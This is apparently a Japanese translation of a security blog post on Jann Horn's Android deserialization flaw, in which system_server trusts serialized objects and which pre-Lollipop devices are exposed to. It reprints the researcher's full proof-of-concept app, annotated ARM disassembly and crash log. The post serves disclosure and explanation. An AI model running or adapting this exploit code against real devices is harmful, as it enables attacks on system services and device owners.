セキュリティ · 2 min read · Jan 31, 2026

Androidの開発者による見落としが、これまでに作られたほぼすべてのAndroidデバイスを脆弱にする

Table Of Contents

  • Androidの開発者による見落としが、これまでに作られたほぼすべてのAndroidデバイスを脆弱にする
  • シリアライゼーションの欠陥
  • 動機
  • 概念実証

Androidの開発者による見落としが、これまでに作られたほぼすべてのAndroidデバイスを脆弱にする

研究者のJann Hornは、初心者の攻撃者がシステムを非常に簡単に攻撃できるAndroidの脆弱性の概念実証を発見しました。この脆弱性は、Androidの初期バージョンを作成する際に開発者による見落としであり、修正されることはありませんでした。Hornがこの抜け穴を公表した後、Googleはパッチをリリースしましたが、それは最新のAndroid Lollipop 5.0のみに適用されます。これは、Lollipop 5.0以前のAndroidを実行しているすべてのAndroidデバイスが、この特権昇格の欠陥に対して脆弱であることを意味します。

シリアライゼーションの欠陥

シリアライゼーションは、アプリケーションのデータをバイトに変換し、物理ストレージに保存するプロセスです。逆に、デシリアライゼーションは、このデータをアプリにとって有用な形に変換するプロセスです。想像できるように、これはバックアップを取る際に特に重要なプロセスです。「Androidのsystem_serviceはUID 1000で実行され、任意のアプリのコンテキストに変更でき、新しいアプリケーションを任意の権限でインストールすることができます」とHornは説明しています。

簡単に言うと、Androidにはデシリアライゼーション中に供給されるデータが信頼できるソースから来ているかどうかを検証するメカニズムがありません。したがって、攻撃者はこの抜け穴を利用して自分のデータをシステムに入力することができます。技術的に詳しい方のために言うと、”java.io.ObjectInputStream”が悪用されるメソッドです。

動機

Hornは、PHPウェブアプリケーションの脆弱性に関する大学の講演に参加した後、このような脆弱性が存在する可能性があるというアイデアを得ました。彼は、Androidの開発者も同様の過ちを犯し、セキュリティチェックを忘れたに違いないと仮定しました。彼の仮定は、OSを調査したときに正しいことが証明されました。そして幸運なことに、彼はそれを利用するのではなく、Androidチームに知らせることに決めました。開発者たちは、おそらくこの欠陥を見逃したのは、実際にテストするものではないからです。

良いニュースは、この欠陥はAndroidの組み込みの特権制限により直接使用できないことです。したがって、攻撃者はこの欠陥を使用する前に別の脆弱性を利用する必要があります。Androidチームは、AOSP(Androidオープンソースプロジェクト)コードリリースの一環として、11月初めにこの欠陥のパッチをリリースしました。しかし、前述のように、このパッチはAndroid 5.0 Lollipopのみに適用されます。そして、Android環境は非常に断片化されているため、パッチがNexus以外のデバイスに届くかどうかは確実ではありません。

概念実証

全体のPoCは以下の通りです:

クラスandroid.os.BinderProxyには、ネイティブコードを呼び出すfinalizeメソッドが含まれています。このネイティブコードは、int/long型の2つのフィールドの値を使用し(Androidのバージョンによって異なる)、それらをポインタにキャストして追跡します。Android 4.4.3では、これがそのポインタの1つが到達する場所です。r0には攻撃者が供給したポインタが含まれており、攻撃者が既知のアドレスでプロセスにデータを挿入できる場合、彼はsystem_serverで任意のコード実行を獲得します:# 攻撃者はr0のポインタを制御します 0000d1c0 ) const>: d1c0: b570 push {r4, r5, r6, lr} d1c2: 4605 mov r5, r0 d1c4: 6844 ldr r4, [r0, #4] # 攻撃者はr4を制御します d1c6: 460e mov r6, r1 d1c8: 4620 mov r0, r4 d1ca: f7fd e922 blx a410 d1ce: 2801 cmp r0, #1 d1d0: d10b bne.n d1ea ) const+0x2a> d1d2: 68a0 ldr r0, [r4, #8] # 攻撃者はr0を制御します d1d4: 4631 mov r1, r6 d1d6: 6803 ldr r3, [r0, #0] # 攻撃者はr3を制御します d1d8: 68da ldr r2, [r3, #12] # 攻撃者はr2を制御します d1da: 4790 blx r2 # 攻撃者が制御するr2ポインタにジャンプします AndroidはASLRを持っていますが、すべてのアプリと同様に、system_serverはzygoteプロセスからフォークされます。言い換えれば、すべてのアプリはsystem_serverと同じ基本的なメモリレイアウトを持っているため、system_serverのASLRを回避できるはずです。以下が私のクラッシュPoCコードです。これをAndroidアプリに入れ、そのアプリをインストールし、開いてください。何も起こらない場合、GCが時間をかけているかもしれません。他の作業をしたり、PoCアプリを再度開いたりしてみてください。数秒後にデバイスは再起動するような動作をするはずです。

package net.thejh.badserial; import java.io.Serializable; import java.io.UnsupportedEncodingException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import dalvik.system.DexClassLoader; import android.app.Activity; import android.content.Context; import android.os.Bundle; import android.os.IBinder; import android.os.Parcel; import android.os.UserHandle; import android.os.UserManager; import android.util.Log; public class MainActivity extends Activity { private static final java.lang.String DESCRIPTOR = “android.os.IUserManager”;
private Class clStub;
private Class clProxy;
private int TRANSACTION_setApplicationRestrictions;
private IBinder mRemote; public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
userHandle) throws android.os.RemoteException
{
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle); byte[] data = _data.marshall();
for (int i=0; true; i++) {
if (data[i] == ‘A’ && data[i+1] == ‘A’ && data[i+2] == ‘d’ && data[i+3] == ‘r’) {
data[i] = ‘a’;
data[i+1] = ‘n’;
break;
}
}
_data.recycle();
_data = Parcel.obtain();
_data.unmarshall(data, 0, data.length); mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
_reply.readException();
}
finally {
_reply.recycle();
_data.recycle();
}
} @Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main); Log.i(“badserial”, “starting… (v3)”); Context ctx = getBaseContext();
try {
Bundle b = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
b.putSerializable(“eatthis”, evilProxy); Class clIUserManager = Class.forName(“android.os.IUserManager”);
Class[] umSubclasses = clIUserManager.getDeclaredClasses();
System.out.println(umSubclasses.length+” inner classes found”);
Class clStub = null;
for (Class c: umSubclasses) {
System.out.println(“inner class: “+c.getCanonicalName());
if (c.getCanonicalName().equals(“android.os.IUserManager.Stub”)) {
clStub = c;
}
} Field fTRANSACTION_setApplicationRestrictions =
clStub.getDeclaredField(“TRANSACTION_setApplicationRestrictions”);
fTRANSACTION_setApplicationRestrictions.setAccessible(true);
TRANSACTION_setApplicationRestrictions =
fTRANSACTION_setApplicationRestrictions.getInt(null); UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
Field fService = UserManager.class.getDeclaredField(“mService”);
fService.setAccessible(true);
Object proxy = fService.get(um); Class[] stSubclasses = clStub.getDeclaredClasses();
System.out.println(stSubclasses.length+” inner classes found”);
clProxy = null;
for (Class c: stSubclasses) {
System.out.println(“inner class: “+c.getCanonicalName());
if (c.getCanonicalName().equals(“android.os.IUserManager.Stub.Proxy”)) {
clProxy = c;
}
} Field fRemote = clProxy.getDeclaredField(“mRemote”);
fRemote.setAccessible(true);
mRemote = (IBinder) fRemote.get(proxy); UserHandle me = android.os.Process.myUserHandle();
setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode()); Log.i(“badserial”, “waiting for boom here and over in the system service…”);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

package AAdroid.os; import java.io.Serializable; public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
public long mObject = 0x1337beef;
public long mOrgue = 0x1337beef;
}

これがシステムログに表示されるはずの内容です:F/libc ( 382): Fatal signal 11 (SIGSEGV) at 0x1337bef3 (code=1), thread 391 (FinalizerDaemon)
[…]
I/DEBUG ( 47): pid: 382, tid: 391, name: FinalizerDaemon >>> system_server <<<
I/DEBUG ( 47): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3
I/DEBUG ( 47): r0 1337beef r1 b6de7431 r2 b6ee035c r3 81574845
I/DEBUG ( 47): r4 b6de7431 r5 1337beef r6 b7079ec8 r7 1337beef
I/DEBUG ( 47): r8 1337beef r9 abaf5f68 sl b7056678 fp a928bb04
I/DEBUG ( 47): ip b6e1e8c8 sp a928bac8 lr b6de63d9 pc b6e6c15e cpsr 60000030

Resource : Secure List

Share: X/Twitter LinkedIn

新しい投稿を受信箱で受け取る

スパムはありません。いつでも購読を解除できます。